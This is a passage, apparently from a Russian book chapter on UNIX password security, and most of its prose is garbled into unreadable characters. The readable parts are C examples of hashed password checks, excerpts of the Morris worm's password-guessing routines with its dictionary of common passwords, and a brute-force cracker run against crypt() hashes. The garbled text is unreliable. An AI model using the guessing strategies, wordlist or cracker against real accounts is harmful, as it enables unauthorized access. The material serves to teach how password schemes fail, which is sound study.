< 모 樮,   <⮯  >. ⢨⥫쭮 ॢ樮  모, 宦,  ਢ. 묨 묨  ᫥ ࠧࠡ⮪   ࠧ ,  뢠 ᮡ    ࠤ権 ࠧ 権.   ॢ頥     묨 ७ ﬨ. ᫮, XML   믮 ८ࠧ  ଠ⮢   㣨,   ࠡ⠥   ⥬, ⮡   ணࠬ஢  म ⥭樠 ணࠬ⮢  ᥬ >
 



᪮ Gloria 뫠 ४饭  Pearl ( ॢ  ᪨ - 㦨),   ᭨,  ⠪  㦥 , 諮   㪢, ॢ⨢ 㦨    ࠡ 뭨 (Perl 砥 窠).
⥯  ࠡ  Perl 稫 ⪨  ⭨    殢     砫 ⨢ ᮢ襭⢮.  ६     ᠭ ஭ ࠧࠡ稪,    -० ⠥  孮⥫ 몠, 室  ⭮  <ࠫ쭮 ⥪>.
 Perl - ࠧ 㬥, ⫨筮 室騩  ᮧ Internet-ਫ.   ᮬ ⮨ -  ᯫ⭮.    , ⨢ ᠩ www.perl.org
稥 Perl ॡ  設⢠ ਬ஢ ⮩ .     ᤥ ࠪ᪨   㣮,  ன  ॥  ⭥, 祬  ᪮ /++. 砫쭮 Perl ⠪  뢠 -  㬥 ண ணࠬ஢. < ⠥ ࠭ ந ⢠, த  ⢮,   , ஭   ࠮,  ६ 室  . ⠪,  襣 ணࠬ஢  Perl    祬- 䥬.  ᯥ "孨 Perl"  . ᫨  - 뢠  "ணࠬ஢  ᪮ ",  भ    ண 㦨  ,      ⢥ ( ⥫    > ᠫ   ।᫮   "Perl cookbook".
,    Perl  ,    ॡ 稢 祭.   뭪  ⮩ ⥬   ⢮ , ⠭,    ᨮ, ⠪   稭 짮⥫.   㡮  ਠ  ਬ஢, ਢ  ⮩ , ॡ  ⮫쪮 祭 ᨭ⠪ ᠬ 몠,  모 ணࠬ஢ ᮪⮢.    ⥬     , 饭 ⥢ ணࠬ஢,   㡥: 設⢮ ஢ । ࠭ ઠ묨 ⥪    ,   ஢ TCP/IP.  , 饭 ,  ⠭  ᨮ쭮 ⥫  ன 뢠 䥩 ᮪⮢   ஡.
祬,  <⥬>   饩   ஢ 筮 ஡, ⮡  ⮢ ⥫ ᬮ ࠧ   ਠ,      室    ᯥ樠஢ .





"   ᥬ 拉  , -    㤠   ⠭  㤠   ⠡.      ᠬ ,   ,  ⥯, , ,  㦭 - ,   ᯥ ,  த,  﫮 祭  饬 ६."
ઠ 㣠檨,  㣠檨 "࠭ ஢ "









⠪  UNIX


O  ࠭ ஫  UNIX
O  ⠪ ਢ離?
O ⠪  ஫
O  
O  ஫
O  짮⥫
O ਭ ⠪ ᮭ
O   䠩 ஫?
O  ஥ 㭪 Crypt
O 墠 筮 
O ᯮ짮   ७ࠢ -뢮  ⠪
O ⥫ 
O ⠪  ⭨







-,    । ᮡ, -  ᠬ ஥ ஭ 㦨 । ᥣ,  祫 㤠  ᮧ. ⥬ ஭஢  㦥 - ३.   易  ⠪, ᪮   -  ஦ ணࠬ,  楯,  ࠬ,    襭   ঠ  ⢮ 墠⪮.
John Warley "Press Enter"



<뭥譨 ࠪ, ୮,  ᥡ ,  த  10  , -  ⮣ 堪஬   ,  㬥 ⮤筮 ॡ  ஢    ⢥   ஫ - ⨯ guest/guest. , 設⢮ ⮢ ( ⮬ ᫥   -   ६  ஭  ᥪ   﫠 䮬) 뢠  ⠪>. - ᠫ  ᢮  <⠪ १ Internet  ᪨   ﭮ.
筮, ᥣ   ᮢ६ ⮤ ⥭䨪樨 짮⥫, ਬ ᭮  ᪨ ⥫,       稫 ப ࠭,  饥 設⢮       ஫쭮 奬.
㤠 롮 ஫   ᥣ譨  ⠥    稭 ᯥ譮 設⢠ ⠪. ᬮ   ᨫ ஢, ४ ஫   ᫥ ॣ୮ ᫥⥫쭮 ᨬ  <acs95wM$>, 짮⥫   ᫮ ᫮   ᥣ  ﭨ  ன 롨 "12345"  "qwerty".
⮬,  ஫  ࠧ 㤠  ਢ ॡ஬. 㬥,  易⥫쭮  । ਠ  -   ⮬⨧஢, ᯮ짮  室 ணࠬ  ᠢ  ᠬ⥫쭮 (஡  ⮬ ᪠   < ஥  ஫>).
 ⮩ ॡ ᨫ ⨢ ᮢ६ ⥬, ᭠饭 "intruder detection" ( ॢ  ᪨ - 㦥 ⥫). ⮨   ஫ 訡 ᪮쪮 ࠧ  -    ⥬  ஢.   㣠 ஫  祬  - ⮪, ࠢ .  ᫨  "intruder detection"  ⠭, ᪮ ॡ  ࠩ ,  ᨫ ⥫쭮  ਧ樨.
祢, ⠪饬 室 ᪠ 㣨 . ਬ,   ᮤন 䠩 ஫.    ᠬ ࠭  樮 ⥬ UNIX ࠧࠡ稪 । ᫥⢨ ࠭ ஫  ⮬   ਭ﫨 室  ᭮.  UNIX  ஫ ࠭  ஢ ,   ᫨ ᬮ ᮤন 䠩 ஫, -  祣  . ᫨, 筮,   㤠 ஢.  ⢥ত, ᪠,  ⥬᪨ , 㣨  ஭  㦨 ⥬,  室 ⥬⨪.   㤥  .
ண , ࠦ <஢ ஫>  ⭮襭 UNIX 孨᪨ ࠬ⭮. ஢  饬 砥 ।⠢ ᮡ ⨬ ८ࠧ: ᫨ 諥 ஢ ᢮ ᥪ  墠  , , ஢, 稫  ,  㦥  ஢ 砥!   UNIX    㦥. ஢- ஫  ,   ஢ ⭮   ᬮ  諥,   짮⥫,   ᠬ ⥬! ⥫쭮,     ࠡ  訡筮 ⫨ <᢮>  <㦨>?
 ᠬ  祣 㤨⥫쭮  !    ਧ樨 ⥭ 㦥 .  ०, 祬 㯠   祭, ᬮਬ, ᪨ ᯮᮡ ⮢ ᢥન ஫.  ⮣   譨  ⥭ ⮢ ணࠬ  몥 , ਬ, ⠪ (ᬮ "/SRC/passwd.simple.c").


 #include <stdio.h>

 #include <string.h>



 void main()

 {

 char buf[100],fbuf[100];

 FILE *f;

 if (!(f=fopen("passwd.simple","r"))) return;

 printf("Enter password:");

 fgets( amp;buf[0],100,stdin);

 fgets( amp;fbuf[0],100,f);

 if (strcmp( amp;buf[0], amp;fbuf[0]))

 printf("Wrong password!\n");

 else

 printf("Password ok\n");

}




 ⮩ ⥩襩 ⥬ ⥭䨪樨 ⮨ ᥣ   ப ( ⨭  뤥  ⮬), ⭮ ࠢ饩 ப,   ⢥ ஫,  ப, ⠭  䠩 ஫.
㬥, 䠩 ஫ 室 ନ஢ ,   ⮣ ਣ ணࠬ, 室 ⥪ ன ਢ  (  ᪥  室   "/SRC/passwd.simple.add.new.user"):


 #include <stdio.h>



 void main(int count, char ** arg)

 {

 char buf[100];

 FILE *f;

 if (!(f=fopen("passwd.simple","w"))) return;

 printf("Enter password:");

 fgets( amp;buf[0],100,stdin);

 fputs( amp;buf[0],f);

 fclose(f);

}




  "Enter password:"   襤訩   ஫. ਬ, "MyGoodPassword". ⨢ "passwd.simple.exe" 㡥: ணࠬ 㢥७ ᯮ ࠢ   ஫, ࠡ      筮.
 ᮦ, ⠪  祭  . ᫨    䠩 ஫ ( ᫨   㤥,    ஫  ஢ન?) ਢ ᬮ ᮤন   ஫  짮⥫,     室   ࠧࠡ稪 .
 ࠧ ᯮ㥬  "type passwd.simple"   ࠭ ⥫쭮  ᮤন 䠩 ஫:
 type passwd.simple
 MyGoodPassword
ࠡ稪 UNIX 諨 ਣ쭮 襭, ਡ  ⨬ ८ࠧ - ஢. ।,   㭪 f, ८ࠧ 室 ப   ᫥⥫쭮  ⠪ ࠧ, ⮡      ॡ ஬ ꥬ ᫥,  㯭 諥. ⥬窨    :
 f(passwd) -> x
   ⮬,  ᫨ ப s1 ࠢ ப s2,   f(s1)  ࠢ f(s2).     ⪠  ࠭ ஫  ⮬ .  ᠬ ,  ⮣  ࠭ 祭 㭪樨 f(passwd),  passwd ਣ ஫. ⥬ ਬ   -㭪  ஫,  짮⥫ (userpasswd), , ᫨ f(userpasswd) - f(passwd),   userpasswd - passwd! ⮬, 㯭 䠩 <஢> ஫ 㦥   ᯮ짮    楫, ᪮  ᫮ 㭪 f ࠭,  १  ᫥ ⨬,  室 ஫  .
  , ᠬ⥫쭮 ᠢ ⥩ ணࠬ, ࠡ  ᠭ  ⮤. 砫 室  㭪 ८ࠧ, ⢥ 㪠 ᫮.  ᮦ,  ᫮ , ॡ 㡮  ਯ⮣䨨  ⥬⨪, ⮬,  ⠥ 㬬 ASCII  ᨬ ஫   १. ਬ ॠ樨 ⠪ ⬠ ਢ  (ᬮ 䠩 "passwd.add.new.user.c"):


 #include <stdio.h>

 #include <string.h>



 void main()

 {

 char buf[100],c;

 int sum=0xDEAD,i=0;

 FILE *f;



 if (!(f=fopen("passwd","w"))) return;

 printf("Enter password:");

 fgets( amp;buf[0],100,stdin);

 while(buf[i])

 {

 c=buf[i++];

 sum+=c;

 }

 _putw(sum,f);

}




⨬ ⪮஢ ਬ  믮   ⢥ ஫ , ਬ, "MyGoodPassword".  襬 ணࠬ, ஢  짮⥫ ஫.    ਠ⮢ ॠ樨   (ᬮ 䠩 "/SRC/passwd.c"):


 #include <stdio.h>

 #include <string.h>



 void main()

 {

 char buf[100],c;

 int sum=0xDEAD,i=0,_passwd;

 FILE *f;



 if (!(f=fopen("passwd","r"))) return;

 printf("Enter password:");

 fgets( amp;buf[0],100,stdin);

 _passwd=_getw(f);



 while(buf[i])

 {

 c=buf[i++];

 sum+=c;

 }

 if (sum-_passwd)

 printf("Wrong password!\n");

 else

 printf("Password ok\n");



}




   뤥 ப -   ⮬,   㣮 砥 ᯮ짮     㭪 ८ࠧ.   㬥 ணࠬ ⫨ <᢮> ஫  <㦨>, ﭥ  䠩 "passwd", ⤠  "type passwd":


 type passwd

 Y




ᥬ 㣮 ! ஡-, ⥯ 㣠,  ஫ 室 ,  ⥬  ய⨫. ண ,  ਢ ਬ    㤠   蠥     㬥,  ᫮  ࠭ 㭪 ஭  ⨬.
 ஭ 㭪樨 ᫥  ⠭ ਣ쭮 ஫   ,  㯭 䠩 passwd 㦥   諥 ஭  ⥬. ஢ ஫ , ⮬   ⠬ . 㣮 , 㤠    ப, ਭ ⥬  ࠢ ஫?  㦤 ⮣    ୥ ,   砫 ᬮਬ ன⢮ 堭 ⥭䨪樨  UNIX.
 ᨨ UNIX  ⢥ ஭ 㭪樨 ᯮ짮 ஢ ਠ ⭮ ਯ⮩ ⬠ DES.  ਯ⮩   砥  ࠭஢  ᫥ 室饣 ஫  묨 ᯮᮡ, ஬ 㯮 ॡ. 祬, ⢮ , ॠ騥 ⠪ ॡ  ⭮ ஢  뢠騥 ⥬  ࠧ㬭 ६, ⮬ 諮  ᪮ 蠣,     , <᫥騥> 饥 <>.  砫    ਯ⮩  ⨬ 㭪樨.  , ⮣  ந諮.
㣠 ஡ 砫  ᮢ ஫ 짮⥫.  ᠬ , ᫨  祫 롥 ᥡ  ஫,     ஫  묨 (   ?).    㤠  , -  짮⥫᪮ ⥬ 蠭  ᮢ  ⠪ ,       ,   १  ᠭ樮஢   㦨 ᠬ.
ࠡ稪 諨 ⭮ 襭, - १ 樨 ஢   ⮫쪮   ஫,   砩 ᫥⥫쭮 , 뢠 ਢ離 (salt). 㬥, ᠬ ਢ離 ᫥ ஢ 室 ࠭,    㤠 .   ᥪ ਢ離  ।⠢, (᪮   -㬬,   짮⥫ ஫).
-㬬, ਢ離   㣠 ଠ  UNIX 筮 ࠭  䠩 "/etc/passwd", 饣  ப ᫥饣 :
 kpnc:z3c24adf310s:16:13:Kris Kaspersky:/home/kpnc:/bin/bash
६,   ६稩  砥.    짮⥫ (ਬ, "kpnc"),  , ⤥  祭, ᫥ ,  稭騬   뢠 <஢ ஫>.  ᠬ     ஫ -   ᨬ ।⠢ ᮡ ࠭ ਢ離,  ⮪ - ⨬ ८ࠧ  ஫,   . ⥬ (⤥ 稥)   짮⥫   㯯, ⥫쭠 ଠ  짮⥫ ( ࠢ,  ),  몠 ன 譨 ⠫ 짮⥫  窠, ᪠  㬮砭.




ன⢮ 䠩 /etc/passwd



஢ ஫ ந室 ᫥騬 ࠧ, - 砩 ࠧ 롨  ᨬ ਢ離 [100], ᯮ騥  䨪樨 ⬠ DES. ⥬  ப ஡  ᯮ짮 ஫  ⢥ . 祭 64 ⮥ 祭 ८ࠧ  ᨬ ப. ।   뢠  ᨬ ਢ離,   ⮬   稢.
த஢ ࠡ 㭪樨 crypt  ᫥騩 ਬ ( ᪥  ᯮ  䠩 "/SRC/ctypt.c").   ॡ ⥪ ast.lib, ࠭塞   "UWIN" (ᬮ  < ᪠ UNIX ਫ  Windows>), ᫨  ⠪ ⥪  ⥫ ,  ᯮ짮 ⮢  ࠡ 䠩 "/SRC/crypt.exe".  ᪠ ணࠬ   ப 室 㪠 㥬 ஫  ⤥ ஡ ਢ離.


 #include <windows.h>

 extern char *crypt(const char*, const char*);



 int main(int argc, char *argv[])

 {

 printf("%s\n", crypt (argv[1],argv[2]));

 return 0;

}




⨯ 㭪樨 crypt 룫廊 ᫥騬 ࠧ: char * crypt(char *passwd, char *solt),  passwd - ஫  ஢,  solt -  ᨬ ਢ離.  ᯥ譮 믮 㭪 頥 13-ᨬ  ⮢  㯮ॡ -  ᨬ ਢ離  11-ᨬ쭠 -㬬 ஫.
  ॠ   ⥬ ⥭䨪樨 UNIX. ࢠ 室   짮⥫  䠩 passwd.   ਠ⮢ ॠ樨 ਢ  ( ᪥  室  䠩 "/SRC/crypt.auth.add.new.user.c").  饭, ন ⮫쪮  짮⥫.


 #include <stdlib.h>

 #include <stdio.h>

 #include <time.h>



 extern char *crypt(const char*, const char*);



 int main(int argc, char *argv[])

 {

 int a;

 char salt[3];

 FILE *f;



 salt[2]=0;

 srand((unsigned)time(NULL));

 for(a=0;a<2;a++) salt[a]=0x22+(rand() % 0x40);

 if (!(f=fopen("passwd","w"))) return -1;

 fputs(crypt(argv[1], amp;salt[0]),f);

 fclose(f);

 return 0;

}




⨬ ⪮஢ ਬ  㪠  ந ஫   ப, ਬ, ⠪: "crypt.auth.add.new.user.exe 12345".  ﭥ  䠩 "passwd".  ᮤঠ   ᫥騬 "^37DjO25th9ps" [101]. 祢,  ஢ન ࠢ쭮  짮⥫ ஫ 室 뤥   ᨬ ਢ離, 맢 㭪 crypt, ।   ⢥ ࢮ ࠬ ஢塞 ஫,   - ਢ離,   砥 "^3",  ᫥ 襭 ࠡ ࠢ 祭 १  "^37DjO25th9ps". ᫨  ப   - ஫ 㪠 ୮ , ᮮ⢥⢥, .   ॠ  ᫥饬 ਬ, ਢ  ( ᪥  室  䠩 "/SRC/crypt.auth.c"):


 #include <stdio.h>

 extern char *crypt(const char*, const char*);



 int main(int argc, char *argv[])

 {

 int a=1;

 char salt[2];

 char passwd[12];

 char *x;

 FILE *f;



 passwd[11]=0;

 while(a++) if (argv[1][a]<0x10) {argv[1][a]=0;break;}



 if (!(f=fopen("passwd","r"))) return -1;

 fgets( amp;salt[0],3,f);

 fgets( amp;passwd[0],12,f);

 fclose(f);



 if (strcmp( amp;passwd[0],crypt(argv[1], amp;salt[0])+2))

 printf("Wrong password!\n");

 else

 printf("Password ok\n");



 return 0;

}




⨬ "crypt.auth.exe", 㪠   ப ஫ "12345". ணࠬ ⢥न ࠢ쭮 ஫.  ⥯ ஡㥬  㣮 ஫, -  १  ⠢ ᥡ  .
 crypt.auth.exe 12345
 Password ok
 crypt.auth.exe MyGoodPasswd
 Wrong password!
६ 믮 㭪樨 crypt  PDP-11 室   ᥪ㭤. ⮬, ࠧࠡ稪 ⠫   ࠭  ஫ 쬨 ᨬ. ஡㥬   ६ 室  ॡ   権.  ࠢ 
(
nk-0+ 
nk-1+ 
nk-2+ 
nk-3+ 
nk-4: 
nk)),  n - ᫮ ⨬ ᨬ ஫,  k -  ஫.  96 ⠡ ᨬ ⨭᪮ 䠢 ॡ ஫  襬 砥 ॡ  7x1015 ᥪ㭤    ⥭  !  ᫨ ஫  騬    ( ᥣ-ᥣ )  襬 砥  㤠   ᥬ ,   ।  ப  訩.
㣨 ᫮, ᫮ UNIX    . ᫨ ஫   ᠬ  롨ࠫ 砩,  ⢨⥫쭮 﫮  ⠪.   ॠ쭮  짮⥫  ᥡ    㬠,  롨  ⪨ ஫,  ᮢ騥   ,   騬  ࠭騬  ⥪⮬.
ࢮ 㬥襩 ⠪, ᯮ饩 祫 ᯥ筮,  뢠  .  ࠭  設,  設 ᯮ  ⮤,   ࠣ 室  , ਢ  ( ਫ   ᪥    稭 ,     蠥     ᠬ⥫쭮):


 /* Check for 'username', 'usernameusername' and 'emanresu' as passwds. */

 static strat_1()/* 0x61ca */

 {

 int cnt;

 char usrname[50], buf[50];



 for (cnt = 0; x27f2c amp; amp; cnt <50; x27f2c = x27f2c->next)

 {

 /* Every tenth time look for "me mates" */

 if ((cnt % 10) - 0) other_sleep(0);



 /* Check for no passwd */

 // ஢ઠ  ⮩ ஫

 if (try_passwd(x27f2c, XS("))) continue;/* 1722 */



 /* If the passwd is something like "*" punt matching it. */

 // ᫨  ஫ ⮨ ᨬ-, ய᪠ ⠪ ஫

 if (strlen(x27f2c->passwd)!= 13) continue;



 // ஡  ⢥ ஫ ⠢  짮⥫

 strncpy(usrname, x27f2c, sizeof(usrname)-1);

 usrname[sizeof(usrname)-1] = '\0';

 if (try_passwd(x27f2c, usrname)) continue;



 // ஡  ⢥ ஫   짮⥫ (..  kpnc - kpnckpnc)

 sprintf(buf, XS("%.20s%.20s"), usrname, usrname);

 if (try_passwd(x27f2c, buf)) continue;



 // ஡  ⢥ ஫ ७  짮⥫   ॣ

 sscanf(x27f2c->gecos, XS("%[^,]"), buf);

 if (isupper(buf[0])) buf[0] = tolower(buf[0]);

 if (strlen(buf)> 3 amp; amp; try_passwd(x27f2c, buf)) continue;



 // ஡  ⢥ ஫ ஥ ७  짮⥫

 buf[0] = '\0';

 sscanf(x27f2c->gecos, XS("%*s %[^,]s"), buf);

 if (isupper(buf[0])) buf[0] = tolower(buf[0]);

 if (strlen(buf)> 3 amp; amp; index(buf, ',') - NULL amp; amp;

 try_passwd(x27f2c, buf)) continue;



 // ஡  ⢥ ஫  짮⥫  ।

 reverse_str(usrname, buf);

 if (try_passwd(x27f2c, buf));

}

 if (x27f2c - 0) cmode = 2;

 return;

}




   짮⥫  ⭮  <kpnc:z3c24adf310s:16:13:Kris Kaspersky:/home/kpnc:/bin/bash>   ⢥ ஫ ॡࠫ  ᫥騥 ਠ:
 ⮩ ஫ (  !)
  짮⥫ ( ਢ ਬ kpnc)
 㤢  짮⥫ (kpnckpnc)
 ࢮ ७    ॣ (kris)
 ஥ ७    ॣ (kaspersky)
  짮⥫ -। (cnpk)
  ࠡ⠫!  ᥩ ⢥ত, ஢묨     ஢ [102].  ᫥ ஫  ஭  ⥬ ࠫ ⠪  ᫮. ⥫  ⠢ ᯨ᮪       窨 ७ ஫,   ਢ . ࠤᠫ쭮,   ᥣ    ⠥ 㠫,   짮⥫  ᯮ짮   ᠬ ᫮,     .
academia, aerobics, airplane, albany, albatross,
albert, alex, alexander, algebra, aliases,
alphabet, amorphous, analog, anchor, andromache,
animals, answer, anthropogenic, anvils, anything",
aria, ariadne, arrow, arthur, athena,
atmosphere, aztecs, azure, bacchus, bailey,
banana, bananas, bandit, banks, barber,
baritone, bass, bassoon, batman, beater,
beauty, beethoven, beloved, benz, beowulf,
berkeley, berliner, beryl, beverly, bicameral,
brenda, brian, bridget, broadway, bumbling,
burgess, campanile, cantor, cardinal, carmen,
carolina, caroline, cascades, castle, cayuga,
celtics, cerulean, change, charles, charming,
charon, chester, cigar, classic, clusters,
coffee, coke, collins, commrades, computer,
condo, cookie, cooper, cornelius, couscous,
creation, creosote, cretin, daemon, dancer,
daniel, danny, dave, december, defoe,
deluge, desperate, develop, dieter, digital,
discovery, disney, drought, duncan, eager,
easier, edges, edinburgh, edwin, edwina,
egghead, eiderdown, eileen, einstein, elephant,
elizabeth, ellen, emerald, engine, engineer,
enterprise, enzyme, ersatz, establish, estate,
euclid, evelyn, extension, fairway, felicia,
fender, fermat, fidelity, finite, fishers,
flakes, float, flower, flowers, foolproof,
football, foresight, format, forsythe, fourier,
fred, friend, frighten, fungible, gabriel,
gardner, garfield, gauss, george, gertrude,
ginger, glacier, golfer, gorgeous, gorges,
gosling, gouge, graham, gryphon, guest,
guitar, gumption, guntis, hacker, hamlet,
handily, happening, harmony, harold, harvey,
hebrides, heinlein, hello, help, herbert,
hiawatha, hibernia, honey, horse, horus,
hutchins, imbroglio, imperial, include, ingres,
inna, innocuous, irishman, isis, japan,
jessica, jester, jixian, johnny, joseph,
joshua, judith, juggle, julia, kathleen,
kermit, kernel, kirkland, knight, ladle,
lambda, lamination, larkin, larry, lazarus,
lebesgue, leland, leroy, lewis, light,
lisa, louis, lynne, macintosh, mack,
maggot, magic, malcolm, mark, markus,
marty, marvin, master, maurice, mellon,
merlin, mets, michael, michelle, mike,
minimum, minsky, moguls, moose, morley,
mozart, nancy, napoleon, nepenthe, ness,
network, newton, next, noxious, nutrition,
nyquist, oceanography, ocelot, olivetti, olivia,
oracle, orca, orwell, osiris, outlaw,
oxford, pacific, painless, pakistan, papers,
password, patricia, penguin, peoria, percolate,
persimmon, persona, pete, peter, philip,
phoenix, pierre, pizza, plover, plymouth,
polynomial, pondering, pork, poster, praise,
precious, prelude, prince", princeton", protect,
protozoa, pumpkin, puneet, puppet, rabbit",
rachmaninoff, rainbow, raindrop, raleigh, random,
rascal, really, rebecca, remote, rick,
ripple, robotics, rochester, rolex, romano,
ronald, rosebud, rosemary, roses, ruben,
rules, ruth, saxon, scamper, scheme,
scott, scotty, secret, sensor, serenity,
sharks, sharon, sheffield, sheldon, shiva,
shivers, shuttle, signature, simon, simple,
singer, single, smile, smiles, smooch,
smother, snatch, snoopy, soap, socrates,
sossina, sparrows, spit, spring, springer,
squires, strangle, stratford, stuttgart, subway,
success, summer, super, superstage, support,
supported, surfer, suzanne, swearer, symmetry,
tangerine, tape, target, tarragon, taylor,
telephone, temptation, thailand, tiger, toggle,
tomato, topography, tortoise, toyota, trails,
trivial, trombone, tubas, tuttle, umesh,
unhappy, unicorn, unknown, urchin", utility,
vasant, vertigo, vicky, village, virginia,
warren, water, weenie, whatnot, whiting,
whitney, will, william, williamsburg, willie,
winston, wisconsin, wizard, wombat, woodwind,
wormwood, yacov, yang, yellowstone, yosemite,
zimmerman.
⥫쭮 ᬮॢ  ᯨ᮪,  ।,   ⠫  ७ ࡥ <> ,  ࠩ ,    .  ,  ,    孮   ᮧ ? , ⠪  ,   ᠭ,   㯭 設 ஢   ஫, ࠭  ᯨ᪠ 㣠, -  筮 ᪨஢ ⢨   ⥬. ᫨     ஫  室,  頫  䠩 䮣᪮ ᫮, 筮 ᯮ  ⠫ "/usr/dict/words". ⢥ত  ᫮ ࠣ , ਢ :


 static dict_words()

 {

 char buf[512];

 struct usr *user;

 static FILE *x27f30;



 if (x27f30!= NULL)

 {

 x27f30 = fopen(XS(" /usr/dict/words "), XS("r"));

 if (x27f30 - NULL)return;

}

 if (fgets(buf, sizeof(buf), x27f30) - 0)

 {

 cmode++;

 return;

}

 ( amp;buf[strlen(buf)])[-1] = '\0';



 for (user = x27f28; user; user = user->next) try_passwd(user, buf);

 if (!isupper(buf[0])) return;

 buf[0] = tolower(buf[0]);



 for (user = x27f28; user; user = user->next) try_passwd(user, buf);

 return;

}




筮, ᥣ  ⥭  ᫮ ஫  롮 砩, ᫥ ᫥⥫쭮⥩,    ⨬   ⢮ 짮⥫, -  뢠    ﭨ  ᥬ ᫥  ப஫஢ ࠢ쭮 롮 ஫. ⮬, ⠪  ᫮ -० ⠥  ᥭ 諥.   ⮫쪮 諥, -   㦥  㦨: ࠬ!
 ᠬ , - ⥩訩 ᯮᮡ 㡥 짮⥫  ᫠ ஫ - ஢ ࠭  ஫  ᫮. ⭮,  ᫮  ஭ (.. ࠬ  諥) 筮       筨,  蠭 ஭  ⠪ ⥬,   .  ᫨   ⠢ ᫮ ᠬ⥫쭮!  祬 ? 筮  让 ⥪⮢ 䠩  ࠧ   ᫮, 뢠  譨 (।, ⮨).
  ᠬ 訩 ᫮  ᥣ ਢ  ᯥ譮 ⠪.  ,   ஫ , ᮢᥬ  ਢ쭮 樨   ᫥.  ᪮ ⮢ ஢ ᫠  ⪨  ࠧ,   ॡ  ⮯ ॢ⨫  ॠ쭮. , ਬ,     Pentium  ⨣ ᪮  50.000 ஫  ᥪ㭤,    樨   ⨭᪨ 㪢  ॡ  祬   -  ਥ  諥 ப!  ᫨ ᯮ짮 ᪮쪮 ஢, ᯠࠫ ᫥, ६ ᪠  㬥   ࠧ - 㦥    ஢ ( 㯭 㯯 諥)   ஫     !


१ <砭>




 ᮭ ਯ뢠 ᪠뢠 "When in doubt, use brute force" (<᫨  ,  롨 - 롨ࠩ  ᨫ>)
 ਢ 樮 ਠ ணࠬ ( ᪥, ਫ  ,  室  䠩 "/SRC/crypt.ayth.hack.c"), ⢫饩   ஫. 筮,  ࠪ᪮ ᯮ짮 室 ⨬஢ , ९ᠢ ᪨ ⪨  ᥬ,    室  ࠬ  ,   ᬠਢ  .
। ᪮ ணࠬ 室 ନ஢  ᪥ 䠩 "passwd"   "crypt.auth.add.new.user",   ஢ ஫, ਬ, "12345" ( 室  ᪮७ ॡ):


 #include <stdio.h>

 extern char *crypt(const char*, const char*);



 int main(int argc, char *argv[])

 {

 int a=1,n=0;

 char salt[2];

 char passwd[12];

 char hack[12];

 FILE *f;



 if (!(f=fopen("passwd","r"))) return -1;

 fgets( amp;salt[0],3,f);

 fgets( amp;passwd[0],12,f);

 fclose(f);



 for(n=0;n<12;n++) hack[n]=0; hack[0]='0';



 while(!(n=0))

 {

 while(++hack[n]>'9')

 {

 hack[n]='0';

 if (hack[++n]-0) hack[n]='0';

}

 printf("=%s\r", amp;hack[0]);

 if (!strcmp(crypt( amp;hack[0], amp;salt[0])+2, amp;passwd[0]))

 {

 printf("\nPassword ok!\n");

 return 0;

}

}

 return 0;

}




 ࠧ, 設⢮ ஫  ॠ쭮    ਥ ६,  ⠪ 奬 ⥭䨪樨  饥 ६   ᯥ  饭. 筮,  ஡ 㢥  ஫  쬨  - ᨬ  ᯮ짮  ᮥ  ஢,    ᯠ᫮   ⪨  ᫮ ஫, ⮬ ࠧࠡ稪 UNIX 諨 㣨 ⥬ [103].
ॡ (  ᫮ୠ ⠪)   ,  ⮫쪮   ,  ⠪騩    䠩 ஫. 設⢮ ᮢ६ 樮 ⥬ ࠭稢 ⢮ 訡  ஫  ᫥ ᪮쪨 㤠 ⮪ 稭  ⥫ , ᫨騥 ॡ. ⨢, ᫨    -㬬 ஫, 室 ᫥⥫쭮  ᪠ ᠬ⥫쭮,  ਡ  㣠 樮 ⥬.
  UNIX 䠩 ஫ 㯥 ᥬ 짮⥫, ॣ஢  ⥬, -    ⥭樠쭮 ᯮᮡ  ஫  ⠫,  ⮬ ᫥  ! ⮬,    UNIX  ⠪ 뢠 ⥭ ஫ (shadow passwords).   䠩 ஫  ਢ஢ 짮⥫   㯠,     ⮫쪮 樮 ⥬.  ᮢ⨬  ।騬 ﬨ 䠩 "/etc/passwd" ࠭,   ஫   ४祢  "/etc/shadow" (  ஢  ⥬  ⥬).
  passw:
 kpnc:

x:1032:1032:Kris Kaspersky:/home/kpnc:/bin/bash
  shadow:
 kpnc:

$1$Gw7SQGfW$w7Ex0aqAI/0SbYD1M0FGL1:11152:0:99999:7:::
 ⮬ ,   passwd ࠭ 室 ஫, ⥯ ⮨ ⨪ ( 窠),  ᠬ ஫   ன ⥫쭮 ଠ樥 饭  shadow, 㯭  ⥭ ⮬ 짮⥫. ᠭ   짮⥫᪮  ਢ  (ᬮ 㭮 015.txt).     , ᨫ 饭 ⥬.   ࠭祭 ப 㦡 ஫,  ६  ,  ⠪ .    ᥬ ᠬ ஢ ஫  ᮤঠ ணࠬ ⥫쭮 ⥭䨪樨, ਬ: "Npge08pfz4wuk;@/sbin/extra",  設⢮ ⥬ 室   .




ன⢮ 䠩 ⥭ ஫



,  ⠪ ,   -०  ⠪ [104].   ⮬,  UNIX ࠧࠡ뢠   ਮ,   ⥮ਨ ᭮  ⢮,   騪     ।⠢.  १, ࠭஢ ᯥ 饭   UNIX . 稭 砥  堭 ࠧ ਢ ᮢ. ஡ ᭥ 﫮  ᫨誮  ,  ᭮   ࠧ   ᫮ - ணࠬ, ᪠ 짮⥫,    ࠢ, 祬  ᠬ.    ⠪ ணࠬ ਭ ⨫ ᬥ ஫,  ࠢ   䠩 "passwd"  "shadow".  ⢥ 㣮 ਬ,  ਢ login, 騩   饭 䠩 "shadow".
 ࢮ 鸞  ⮬  祣 ୮,   ࠡ⠥ ᯥ譮   :  ᯥ譮 ࠡ⠥. ᫨   ணࠬ 㦨 訡,  믮 ஢ ⢨, ᫥⢨   ᠬ묨 騬. ਬ, প ७ࠢ -뢮       䠩,  㤨 諥.  ᫨  ᯥᨬ ("<|>")   ਢ 䨫஬,  訡 ९  থ ࠪ᪨  ਫ. ஡  ⮬ ᪠   <孮 뢠 ⥪>,   筮    - ९   믮 諥  [105]    襭 ਫ   訡 ⮫쪮 ,   ᥣ 뢠 㦥묨  ᫥ ⥫쭮  室 ⥪ ணࠬ.
  ᮡ⨩ 楫   -  ⮬⥫쭮 ॡ ஫,  直 ࠭⨩  ᯥ, 筮 ஠஢ 室 ⥪ ਢ஢ ணࠬ,      ⥭  ப   ࠪ᪨ ᥣ ᮤঠ 訡,  祭 ࠧࠡ稪.    ⥬  ⥪ থ   ஫  室  ⥬! 祬, ⠪ 砩  鸞 ᪨   ࠦ 饣  .   祣   -  ⠪   易⥫쭮 ॣ஢  ⥬, 筮 易   ணࠬ-, ᯮ饩  訬 ਢﬨ  㦨饩 ᢥ짮⥫.


१ <ଠ>









